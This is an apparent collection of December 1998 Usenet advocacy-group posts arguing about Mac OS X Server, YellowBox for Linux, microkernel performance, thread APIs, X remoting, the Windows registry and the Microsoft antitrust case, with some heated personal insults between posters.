References: <14Nc2.20795$q15.465873@news.san.rr.com> <F3ypnu.6p0@T-FCN.Net>
<3676bdbe.0@stan.astra.co.uk>
Mime-Version: 1.0
Date: Wed, 16 Dec 1998 16:01:26 GMT
In <3676bdbe.0@stan.astra.co.uk> mmalcolm crawford wrote:
> Funnily enough it was actually I who released the original version,
> complete
> with some notes I took during the meeting at which it was previewed: :-)
Not being able to use it myself, what was the difference with the
shelf/dock thingy? It seems they removed the shelf from the "finder"
windows and made a single UI system for both? And what is the grid of
icons in the lower left?
Maury
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Performance issue with microkernel based OS
Content-Type: text/plain; charset=us-ascii
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Cc: kwazyjin@hotmail.com
Organization: needs one
References: <GOyd2.1558$4w2.6884159@news.itd.umich.edu>
Mime-Version: 1.0
Date: Wed, 16 Dec 1998 16:22:07 GMT
In <GOyd2.1558$4w2.6884159@news.itd.umich.edu> "Jin Kim" wrote:
> However, recently I've been discussing performance issues in comparison to
> UNIX variants and haven't really been able to show that while OS X does
> suffer from some performance hit due to microkerneling, it should fair
> well.
> I'm always having to retreat b/c the other side points to MkLinux as an
> example of why microkerneled OS is slow in comparison to monolithic
> kernel.
> I do believe that MkLinux implementation isn't where it could be.
> Nevertheless, MkLinux is quite slow in comparison to LinuxPPC, which is
> monolithic.
MkLinux is primarily a testbed item and not really built for speed. In
order to make development "easier" (more modular) the Linux Kernel emulator
is run as a single user-space task. OpenStep is built to be used, and thus
the BSD emulator was placed in the kernel's memory space. This will be
true in the future version if the slides from last year's WWDC are followed.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Content-Type: text/plain; charset=us-ascii
Message-ID: <F42G8I.AMz@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: davewang@cslab.kecl.ntt.co.jp.DELETE.delete.DELETE@Glue.umd.edu
Organization: needs one
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <3670B38C.812ACA60@nstar.net>
<joe.ragosta-1112980646160001@elk62.dol.net> <7523tc$co2$7@hecate.umd.edu>
<756j4t$ipl$1@flotsam.uits.indiana.edu> <757356$l89$3@hecate.umd.edu>
Mime-Version: 1.0
Date: Wed, 16 Dec 1998 16:24:17 GMT
In <757356$l89$3@hecate.umd.edu> David T. Wang wrote:
> IMO, even if my criteria are accepted, we still cannot judge MacOS X
> as a "good unix" or not, since all we have to look at is NeXTStep,
> and Apple/SJ may have added/removed features that would make certain
> points completely moot. I think that all we can do is wait and see.
OS-X appears to be a fairly direct port of the current NetBSD into an
emulator package for Mach. Does this answer the question?
Maury
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Content-Type: text/plain; charset=us-ascii
Message-ID: <F42Gq2.Avz@T-FCN.Net>
Sender: news@T-FCN.Net
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Cc: michael.peck@ericsson.com
Organization: needs one
References: <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu>
<3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net>
<3671484B.5166335E@nstar.net> <199812120228251239508@ts4-19.aug.com>
<3672F161.9A5BFCCE@nstar.net> <19981213123438840862@ts2-18.aug.com>
<7546k2$rhg$1@nnrp1.dejanews.com> <3675C7C4.861C5575@nstar.net>
<756kn2$unk$1@nnrp1.dejanews.com> <3676E3E3.C0160448@ericsson.com>
Mime-Version: 1.0
Date: Wed, 16 Dec 1998 16:34:49 GMT
In <3676E3E3.C0160448@ericsson.com> Michael Peck wrote:
> It would be good if OS X developers were able to get a headstart using
> pthreads in preparation for multi-processing hardware. These days
> threads are really important, even for GUI software; perhaps the next
> major period of OS X development should focus on re-entrance as a goal.
_This_ version does. Start at...
http://www.developer.com/calendar/minisites/wwdc98/118ypappkit/sld038.htm
And check out the next few pages.
But why is pthreads important specifically? Why not cthreads, NT
threads, or any sort of thread? pthreads support is certainly a
requirement for porting efforts, but for "OS X developers" OOified thread
support with no particular implementation is far more important, and
already exists.
> Yeah, but...what would that accomplish? I need a system that runs X
> software...what's this, a trial version? What the hell good does this do
> me?
Run X software?
> One word, Chuck: remotability.
Well I think the market, for the most part, could care less about this.
Aside from Unix X users, who appear to use it because they basically have
to in many situations, I've never seen it used even once. Timbuktu and
PCRemote are fringe products, I simply don't believe this is important to
the market at large.
> Does Mac OS X have it? No.
It doesn't have it _built_in_. Then again neither does the MacOS. But
the later can run over a network with 3rd party solutions, and I suspect
the same will be very quickly true for OS-X as well.
> Now imagine a Mac OS X service that will remote eQD programs via the X
> Protocol (or a compressed derivative, like X.Fast) to *any* X server in
> existence. Just an idea. Call it the ultimate app server. NT already
> does this; you want to compete in that market, I think this is a very
> good idea.
Seems reasonable to me.
Maury
From: jedi@dementia.mishnet ()
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Wed, 16 Dec 1998 08:37:45 -0800
Organization: Posted via RemarQ, http://www.remarq.com
Message-ID: <slrn77foep.s7s.jedi@dementia.mishnet>
References: <36717987.21076075@news2.asan.com> <3676CF96.376453F1@ericsson.com> <petrichF410no.BFK@netcom.com> <3676E18C.9C5626BF@ericsson.com> <petrichF41x56.HuD@netcom.com>
On Wed, 16 Dec 1998 09:31:54 GMT, Loren Petrich <petrich@netcom.com> wrote:
>In article <3676E18C.9C5626BF@ericsson.com>,
>Michael Peck <michael.peck@ericsson.com> wrote:
>
>>Eh, what's that? I don't have to pay attention to presidents and
>>congressional members? I pay them taxes, I observe their speed limits, I
>>filled out their Selective Service forms, I lost two great-grandparents
>>to their wars...but you say I shouldn't pay any attention to them if I
>>don't want to.
>
> Where's your respect for authority???
'Respect' for authority is simply unAmerican.
>
>--
>Loren Petrich Happiness is a fast Macintosh
>petrich@netcom.com And a fast train
>My home page: http://www.petrich.com/home.html
--
Herding Humans ~ Herding Cats
Neither will do a thing unless they really want to, or you |||
is coerced to the point where it will scratch your eyes out / | \
as soon as your grip slips.
In search of sane PPP docs? Try http://penguin.lvcm.com
From: dcorn@pdq.net (David Corn)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Message-ID: <3677e803.1429388@news.pdq.net>
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <367580b2.0@uni-wuerzburg.de> <36798742.1291229250@news.isomedia.com> <slrn77b627.cq2.jedi@dementia.mishnet> <756869$3or$1@news.asu.edu> <slrn77e3s6.mch.jedi@dementia.mishnet> <3677c55f.1199644@news2.asan.com> <3677CF94.CA4A5432@digiscape.com>
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NNTP-Posting-Date: Wed, 16 Dec 1998 12:05:49 EDT
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Date: Wed, 16 Dec 1998 17:05:55 GMT
Simply use Win98's Backup program to back up your registry. Back up
any old file, and in the file/options/advanced menu, tell it to also
back up the registry. It takes about 1MB of compressed space, and is
easy insurence.
Another thing to consider, with hard drives so cheap now ($99 at
CompUSA) is to buy an 'extra' one, Ghost your current system onto it,
and then you have a known good backup.
I sort of do the opposite - I ghosted my image onto an old hard drive,
and whenever I'm playing with voltage and overclocking, I use the
_old_ hard drive (make that C: rather than the D: it normally is) to
boot from and try it out - if it works there, it will work with my
"real" C: drive.
DC
On Wed, 16 Dec 1998 15:19:48 +0000, Chris Welch
<chaotic42@digiscape.com> wrote:
>Willy wrote:
>>
>> On Tue, 15 Dec 1998 17:40:22 -0800, in comp.os.ms-windows.advocacy
>> jedi@dementia.mishnet () wrote:
>>
>> > It's too easy to corrupt, it's not easy enough to
>> > restore & too few tools are available to make up
>> > for any of it's shortcomings.
>>
>> I hosed my registry good (doing something I shouldn't have been doing)
>> When Win95 rebooted, it told me there was a problem with the registry
>> and that it will restore the last known good registry. It rebooted
>> and Win95 came up looking exactly as it did before and all my
>> applications worked.
>>
>> So what's so hard about restoring the registry?
>
>Please, send me a copy of your CD. One time I installed a game and then
>uninstalled it later. Windows hickuped. I then changed my video card
>drivers. When I restarted, Windows asked me for my registrtion key (no
>joke!). I hit cancel and it said 'Windows cannot start you computer, hit
>OK to shut down'. I hit cancel and it shut down anyway. Aside from that,
>the windows registry has screwed itself up in other ways at least 10
>times.
Message-ID: <3677E869.3B1E6A47@klassy.com>
Date: Wed, 16 Dec 1998 09:05:45 -0800
From: Josiah Fizer <mib@klassy.com>
Organization: Klassy Soft
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <367580b2.0@uni-wuerzburg.de> <36798742.1291229250@news.isomedia.com> <slrn77b627.cq2.jedi@dementia.mishnet> <756869$3or$1@news.asu.edu> <slrn77e3s6.mch.jedi@dementia.mishnet>
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jedi@dementia.mishnet wrote:
> On Tue, 15 Dec 1998 11:08:03 -0700, Dmitry Streblechenko <dmitrys@-NoSpam-.asu.edu> wrote:
> >
> >> This tends to support my assertion that the Windows registry
> >> is the MacOS (non-premptive multtasking, 'kinda' protected
> >> memory) analog sort of toy database...
> >
> >
> >And what exactly makes you think so? What features do you
> >need that aren't already there? What problems do you have with
> >the registry?
>
> It's too easy to corrupt, it's not easy enough to
> restore & too few tools are available to make up
> for any of it's shortcomings.
>
> --
> Herding Humans ~ Herding Cats
>
> Neither will do a thing unless they really want to, or you |||
> is coerced to the point where it will scratch your eyes out / | \
> as soon as your grip slips.
>
> In search of sane PPP docs? Try http://penguin.lvcm.com
Try this, while installing VC++ Studio 7.0 I get the message "There is not enough room in the
System registry for this installation".
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: OSX: The Next Generation--NOT
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References: <74mprq$bci$1@eskinews.eskimo.com> <74mrpm$vqp$1@crib.corepower.com>
<74oj9d$9d9$1@nnrp1.dejanews.com> <hugh-1612980710350001@242.minneapolis-01.mn.dial-access.att.net>
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Date: Wed, 16 Dec 1998 17:08:43 GMT
In <hugh-1612980710350001@242.minneapolis-01.mn.dial-access.att.net> Hugh
Johnson wrote:
> I'll believe it when I see it, which is probably never.
Funny you should say this, and then turn around and spout rumors and
incorrect information on the very next line.
> TechWeb is reporting that Apple will offer LinuxPPC as a the server
> option. Don Crabb says the Apple Store is dumping WebObject for SAP.
I've been looking about for anything by him that even included "SAP" in
the body of the body of the article, but no such luck. I tried Steamed
Crabb, MacCentral, MacWEEK, MacWorld and the Sun-Times, then I tried the
site search engines for all of ZDNet (turned up one article about
mini-Macs), MacSurfer (engine was dead though) and cNet (lots of articles
on SAP, just none with Apple), to no avail . Then I tried AMSYS and got a
hit about SAP tools working with WebObjects.
Got an URL? Not having seen it, I have to base the next comment on your
statement about what the article in question says
Does Don even know what SAP is? Apparently not, SAP is the back end for
the workflow management in this case, not a web front end system. They're
using it to clean up the post-order process, marrying all of their
currently separate applications into the single SAP framework. This
includes things like tracking shippings, order processing, parts ordering,
inventory management etc. WebObjects was never used to drive this.
FYI of course, by repeating it seems you don't know what it does either.
> MacKiDo is telling the world that multitasking is "not important".
No he isn't, he's saying it's less important than other things. I would
say that this particular statement borders on misstatement.
Let me quote from the article in question "Good preemption is better --
windows preemption is debatable". The article notes that people don't
select their machine for the MT performance (not entirely true IMHO) and
thus it's less important to users than the arguments in this news group
would suggest - a position I doubt you would debate.
> Brace yourself for a deafening lack of good news at MacWorld.
I thought you would believe it when you saw it?
> It's business as usual. It's the same old Apple. I'm outta here.
Facinating how no matter how much has changed radically in the last year,
it's always "the same old Apple".
Maury
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: OSX: The Next Generation--NOT
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<74oj9d$9d9$1@nnrp1.dejanews.com> <hugh-1612980710350001@242.minneapolis-01.mn.dial-access.att.net>
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Date: Wed, 16 Dec 1998 17:19:09 GMT
In <hugh-1612980710350001@242.minneapolis-01.mn.dial-access.att.net> Hugh
Johnson wrote:
More info...
> TechWeb is reporting that Apple will offer LinuxPPC as a the server
And many people think they are referring to OS-X Server.
> option. Don Crabb says the Apple Store is dumping WebObject for SAP.
I have finally found some articles on this, but still cannot find
anything from Don on this issue. I have written to him about this, but I
still request an URL for this item. However I found this on the
(excellent) MacNN at http://www.macnn.com/reports/sapmanagement.shtml
The initial news report states (in full) December 1, 1998: Apple has a
page talking about its migration, starting December 26th, to the new
industry-standard SAP business system, which it describes as a "single,
integrated system for order management, logistics, finance, and
manufacturing." The new system will remove prioritization of shipments,
convert ordering to a new numbering scheme, add e-mail notification of
receipt of order and when the product is shipped, and provide real-time
look up the status of any order--"regardless of the purchase method."
Note that the article correctly states what SAP is used for "order
management, logistics, finance, and manufacturing". SAP in this case is
likely to be run on Oracle on Unix, with the WebObjects plugins allowing
users to get realtime updates on their orders from the database.
> I'm outta here.
Why were you here in the first place?
Maury
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
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<joe.ragosta-1112980646160001@elk62.dol.net> <3671484B.5166335E@nstar.net>
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Date: Wed, 16 Dec 1998 17:21:33 GMT
In <758jc5$po6$1@nnrp03.primenet.com> John Jensen wrote:
> Should we call up Oracle and tell them to cancel their projects?
I guess so.
Maury
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: RFI ranting...again!
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Date: Wed, 16 Dec 1998 17:28:18 GMT
In <3677D64D.3EE2DFFE@msi.se> Harald Ellmann wrote:
> other scenarios. Three years ago, anyone who opined that Apple and its
> technologies would play a major role in the future of the Network
> Computer/information appliance revolution would have been hooted off
> the stage. (In fact, we were.)"
>
> Yes, sure, he all could foresee everything he predicts (he is predicting
> nothing btw) years ago.
More importantly the market in question never came to be, in some circles
the whole topic would be "hooted off the state". Thus saying he correctly
predicted something Apple never did, in a market that never came to exist,
and using that apparently as an example of accuracy is somewhat amusing,
yes.
More interesting though is the continuing series of pictures on the RFI
web site about the set-top box. The first appears to be a hoax, but the
latest appears to be the original 1989 design of the product that later
turned into WebTV (yes, that started at Apple). He has still not provided
any evidence that that are serious _current_ plans in the set top box (and
why? there doesn't seem to be any money in it) market, and the continued
suggestions of fallings out between Disney and Jobs over this apparently
mythical issue is even more amusing considering the latest Pixar deal with
Disney.
> " Am I patting RFI and myself on the back? You bet I am. It's taken a
> heck of a long time for the heresies, forecasts et al. to come to
> fruition, and I'll stand by the assertions I made on CNBC back in 1995
> during the NC feeding frenzy and which were pounced on by others trying
> to capitalize on the issue."
>
> Yes, sure. He was right and we were wrong.
> Finally he says (as always) that he knows about something but he must
> keep silent for know. And maybe he won't write another column this year.
>
> Guess what: After MacWorld Expo he will come and say that all that was
> said and presented there was well known by him and as always he made the
> right predictions.
>
>
> What a nitwit.
>
> So, now I feel better. End rant.
>
>
>
>
> Harald
>
>
>
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Wed, 16 Dec 1998 11:27:11 -0600
Organization: Ericsson Data Services Americas
Message-ID: <3677ED6F.8BB30BAD@ericsson.com>
References: <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu>
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Maury Markowitz wrote:
>
> In <3676BE9A.D76FE8DE@ericsson.com> Michael Peck wrote:
> > I will affirm this. The Linux community will not accept "black box"
> > solutions.
>
> Fair enough, I think that basically ends the thread. Apple likely will
> not do either in the near future.
You're free to end your involvement in any thread at any time. Someone
should have explained this to you when you first joined USENET.
> Windows users have no such issues, thus it seems that's a better place to
> spend their efforts.
Why's that? OPENSTEP was built with an open specification. It ran on
Windows NT, Solaris, and HP-UX. Why didn't NeXT restrict its efforts, at
that time, to just Windows NT, since "it seems that's a better place to
spend their efforts"?
From: jedi@dementia.mishnet ()
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Registry Synchronization?
Date: Wed, 16 Dec 1998 08:45:00 -0800
Organization: Posted via RemarQ, http://www.remarq.com
Message-ID: <slrn77fosc.s7s.jedi@dementia.mishnet>
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <petrichF3z4KB.8uM@netcom.com> <KgAd2.393$eB2.831@news14.ispnews.com> <3677c79f.1775312@news2.asan.com>
On Wed, 16 Dec 1998 14:54:30 GMT, Willy <willy1@rocketmail.com> wrote:
>On Tue, 15 Dec 1998 21:12:10 GMT, in comp.os.ms-windows.advocacy
>joecosby@rycnun.seatac.net (Joe Cosby) wrote:
>
>>Or (IMHO) better yet by far, get rid of the registry. Store an app's stuff
>>in the root install directory of the app.
>
>The registry is for storing information to be shared across all
>applications. How does an application know what other apps are
>available if there isn't a central listing of available apps?
Unless the app in an OLE server, no other app has
any business knowing squat about it to begin with.
[deletia]
--
Herding Humans ~ Herding Cats
Neither will do a thing unless they really want to, or you |||
is coerced to the point where it will scratch your eyes out / | \
as soon as your grip slips.
In search of sane PPP docs? Try http://penguin.lvcm.com
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Wed, 16 Dec 1998 11:54:28 -0600
Organization: Ericsson Data Services Americas
Message-ID: <3677F3D4.63B5E739@ericsson.com>
References: <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu>
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Maury Markowitz wrote:
> _This_ version does. Start at...
>
> http://www.developer.com/calendar/minisites/wwdc98/118ypappkit/sld038.htm
Very good. Pthread compatibility should be simple, then.
[cut]
> But why is pthreads important specifically?
Pthreads stands for "POSIX threads". Most major vendors offer a POSIX
threads package because it's the standard. Unix vendors tend to
encourage the use of "open" solutions because they have this weird
fascination with the concept of public standards. They offer POSIX
threads alongside their pre-POSIX implementations, such as Solaris
threads, DCE, etc. You may have noticed that you stumbled into a
discussion of "good Unix". Context, context, context.
There's got to be some way of separating these Maury Markowitz/Sal
Denaro conversations out from the rest; some sort of marker, or
something, that says "This thread is pointless argumentation initiated
for the bored amusement of someone with little or no knowledge of the
subject matter".
> Why not cthreads, NT
> threads, or any sort of thread?
Well, certainly not NT threads, since NT threads only support the notion
of one thread per LWP. That's not really acceptable, but it's made
necessary by the architecture of NT's kernel.
> pthreads support is certainly a
> requirement for porting efforts, but for "OS X developers" OOified thread
> support with no particular implementation is far more important, and
> already exists.
Thread support is neither more nor less important than *good* thread
support. The comparison makes no sense.
> > Yeah, but...what would that accomplish? I need a system that runs X
> > software...what's this, a trial version? What the hell good does this do
> > me?
>
> Run X software?
Naw, it lets you trial-run X software.
> > One word, Chuck: remotability.
>
> Well I think the market, for the most part, could care less about this.
What you meant to say was that *you* couldn't care less about this.
> Aside from Unix X users, who appear to use it because they basically have
> to in many situations,
Eh? X users use remoting because they *can*, not because they have to.
When would they have to?
> I've never seen it used even once. Timbuktu and
> PCRemote are fringe products, I simply don't believe this is important to
> the market at large.
Timbuktu and PCRemote are *third-party* products. You beautifully
demonstrate my point.
> > Does Mac OS X have it? No.
>
> It doesn't have it _built_in_. Then again neither does the MacOS.
And you just pointed out that as a result it's considered a "fringe
product".
> But
> the later can run over a network with 3rd party solutions, and I suspect
> the same will be very quickly true for OS-X as well.
The same is true of the MacOS. How does that affect its use in remoting
situations? You just said that it was rare.
You're arguing against yourself at this point. I don't want to get in
the middle of that. You and alter-ego go sort this out and come back
when you have a coherent point.
[cut]
MJP
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Wed, 16 Dec 1998 12:16:59 -0600
Organization: Ericsson Data Services Americas
Message-ID: <3677F91B.8584F8A4@ericsson.com>
References: <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu> <3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net> <3671484B.5166335E@nstar.net> <199812120228251239508@ts4-19.aug.com> <3672F161.9A5BFCCE@nstar.net> <19981213123438840862@ts2-18.aug.com> <7546k2$rhg$1@nnrp1.dejanews.com> <3675C7C4.861C5575@nstar.net> <F40J4r.4FE@T-FCN.Net> <7563lg$89l$1@nnrp03.primenet.com> <F40s2z.9EC@T-FCN.Net> <slrn77deao.jp4.jedi@dementia.mishnet> <3676BE9A.D76FE8DE@ericsson.com> <757g7t$5s2@news1.panix.com>
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Sal Denaro wrote:
>
> On Tue, 15 Dec 1998 13:55:06 -0600, Michael Peck
> <michael.peck@ericsson.com> wrote:
> >jedi@dementia.mishnet wrote:
> >> Either the source needs to be free or the specification needs to be.
> >I will affirm this. The Linux community will not accept "black box"
> >solutions.
>
> <<Boggle.>>
>
> One would wonder why you were advocating that Apple port YB to Linux if you
> believed this.
But not everyone would wonder. Just you and Maury. Stop...think about
why this might be...scratch head...grunt...post habitual garbage flood
to CSNA for a few hours...let it sink in...
> Especially since you clarified your position to stating that
> Apple doesn't have to give it away.
I did what?
> I'm curious how you are going to muddle this bit of pretzel logic. My guess
> it that you'll dodge the point and fire off a bunch of insults.
You got that much right, at least. After all, we've come to learn that
"you're dodging", in Denaro-speak, is synonymous for "I didn't read the
thread and I wouldn't have understood it anyway". And as you can see,
the insults are second-nature. Dipshit.
(I kill me! Really, I do...)
MJP
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 16 Dec 98 17:25:51 GMT
Organization: P & L Systems
Message-ID: <3677ed1f.0@stan.astra.co.uk>
References: <adtF3rtpr.Gxq@netcom.com> <FIiROLCWddLd-pn2-Vs4dWgtBV2NH@localhost>
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In <757fsu$5or@news1.panix.com> Sal Denaro wrote:
> You don't have to convince me that Yellowbox for Linux would be a good
> idea. Nor do you have to convince me that a YellowBox everywhere platform
> is good for Apple.
>
Ah, but then Tai wouldn't have a strawman argument to tilt against... <sigh>
I wonder if it would be of any interest to know that one of the planned talks
(thanks 'Fred) for the YB BOF I'm organising for MacWorld should dicsuss the
role of BSD, open source and free software in Mac OS X...
Best wishes,
mmalc.
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Wed, 16 Dec 1998 12:19:51 -0600
Organization: Ericsson Data Services Americas
Message-ID: <3677F9C7.91FF731C@ericsson.com>
References: <36717987.21076075@news2.asan.com> <3675358B.87637823@ericsson.com> <petrichF40Gu1.n25@netcom.com> <3676B50C.4DC3479F@ericsson.com> <petrichF40y14.6rA@netcom.com> <3676CF96.376453F1@ericsson.com> <757klt$joc@newsops.execpc.com>
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Steve Mading wrote:
>
> Michael Peck (michael.peck@ericsson.com) wrote:
> : Loren Petrich wrote:
>
> : > >Elite, Anointed, there are many handles for those who presume to speak
> : > >and act on behalf of beknighted "masses". ...
> : >
> : > Just like business leaders?
>
> : No, not just like business leaders. Unless I voluntarily give them leave
> : to do so, there are no "business leaders" who speak and act for me. Are
> : there business leaders who speak and act for you? How do they do that?
> : Why do you let them do this thing?
>
> Whoa Whoa. Hold it a moment.
> Nice try there. I almost let that one slip by. In the case of the
> technical 'Elite' you never said that they were successful in their
> attempt to speak for you, only that they *claimed* to speak for you.
Actually, I said that they "presume to speak and act on behalf of...".
From Merriam-Webster:
presume:
1 : to undertake without leave or clear justification : DARE
> That was enough for you to label them "elitists'. But, when we
> try to draw a comparasin to business leaders you change the criteria
> for elitism so that it is no longer sufficient to simply claim to
> speak for the people, now they have to succeed at it to be elitist.
> Nice dodge. Didn't work.
Well, I'm sorry that you have egg on your face, but careful reading is a
must-do before posting to the world your mistake.
Yes, *your* mistake.
MJP
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Wed, 16 Dec 1998 12:13:31 -0600
Organization: Ericsson Data Services Americas
Message-ID: <3677F84B.759E987B@ericsson.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <74q704$687@news1.panix.com> <3670A26C.6E69C31E@nstar.net> <74u5bc$bb4@news1.panix.com> <3672BC37.53083A9@nstar.net> <74ujrs$faj@news1.panix.com> <367316E2.38925C5F@nstar.net> <75119s$712@news1.panix.com> <36754DE4.A7435E0B@ericsson.com> <757ft3$5or@news1.panix.com>
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Sal Denaro wrote:
[cut]
> Even if it took Apple two seconds to port to Linux, they would still have to
> work out a deal with Adobe, and Adobe has made it clear that they don't want
> any deals. Any effort to porting YB to Linux before this is resolved is a
> wasted effort.
You've just argued that any effort working on YB for any platform is
also wasted effort. Clever!
> > I never stipulated that YB for
> >Linux had to be free. I never said it had to be Open Source. Quit adding
> >conditions to the argument.
>
> Yet in article <3676BE9A.D76FE8DE@ericsson.com> you stated:
> "The Linux community will not accept "black box" solutions."
And your point is, lackwit? Why do you persist in wasting my precious
time with your fiddling and tomfoolery? I suppose you read the above
post without ever gracing the following with your myopic gaze:
Message-ID: <slrn77deao.jp4.jedi@dementia.mishnet>
[...]
NO.
Either the source needs to be free or the specification needs to
be.
</quote>
[cut]
> <<more drivel snipped>>
Ah, when I ask for clarification it's "name calling and dodging", but
you feel free to ignore entire swaths of text and label them
"<<more drivel snipped>>"
Shame on you. You're a black mark on USENET, full of hypocrisy and
slippery ways. Stupid, to boot. What a terrible condition.
> >And that, my friend, is something you just made up out of thin air. Take
> >a bow.
>
> I didn't pull it out of thin air, I pulled it out of the YB development guide.
> As it stands now, there are 3 UI options (Win, MacOS and NeXT) as well as
> a NoUI option. One of those would have to be chosen (unless you are advocating
> that Apple create some new UI just for Linux)
Why must MJP advocate a thing for it to be a possibility? I wasn't aware
of such powers stirring within me, but now that you mention it...
["Na na na boo boo" anti-X sloshing snipped]
> >Why don't you write the port? You have clearly already made all of the
> >critical design decisions for Apple.
>
> What UI should they use? None?
That's a fine gesture, leaving one decision up to Apple.
MJP
From: Chris Welch <chaotic42@digiscape.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Wed, 16 Dec 1998 18:09:23 +0000
Organization: Mighty Albino Flying Warrors of Death
Message-ID: <3677F752.B7E9D42C@digiscape.com>
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <367580b2.0@uni-wuerzburg.de> <36798742.1291229250@news.isomedia.com> <slrn77b627.cq2.jedi@dementia.mishnet> <756869$3or$1@news.asu.edu> <slrn77e3s6.mch.jedi@dementia.mishnet> <3677c55f.1199644@news2.asan.com> <3677CF94.CA4A5432@digiscape.com> <3677e803.1429388@news.pdq.net>
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David Corn wrote:
>
> Simply use Win98's Backup program to back up your registry. Back up
> any old file, and in the file/options/advanced menu, tell it to also
> back up the registry. It takes about 1MB of compressed space, and is
> easy insurence.
We were talking about Win 95 which doesn't (to my knowledge) have that
luxury.
>
> Another thing to consider, with hard drives so cheap now ($99 at
> CompUSA) is to buy an 'extra' one, Ghost your current system onto it,
> and then you have a known good backup.
What if you have 4 drives (like me)?
>
> I sort of do the opposite - I ghosted my image onto an old hard drive,
> and whenever I'm playing with voltage and overclocking, I use the
> _old_ hard drive (make that C: rather than the D: it normally is) to
> boot from and try it out - if it works there, it will work with my
> "real" C: drive.
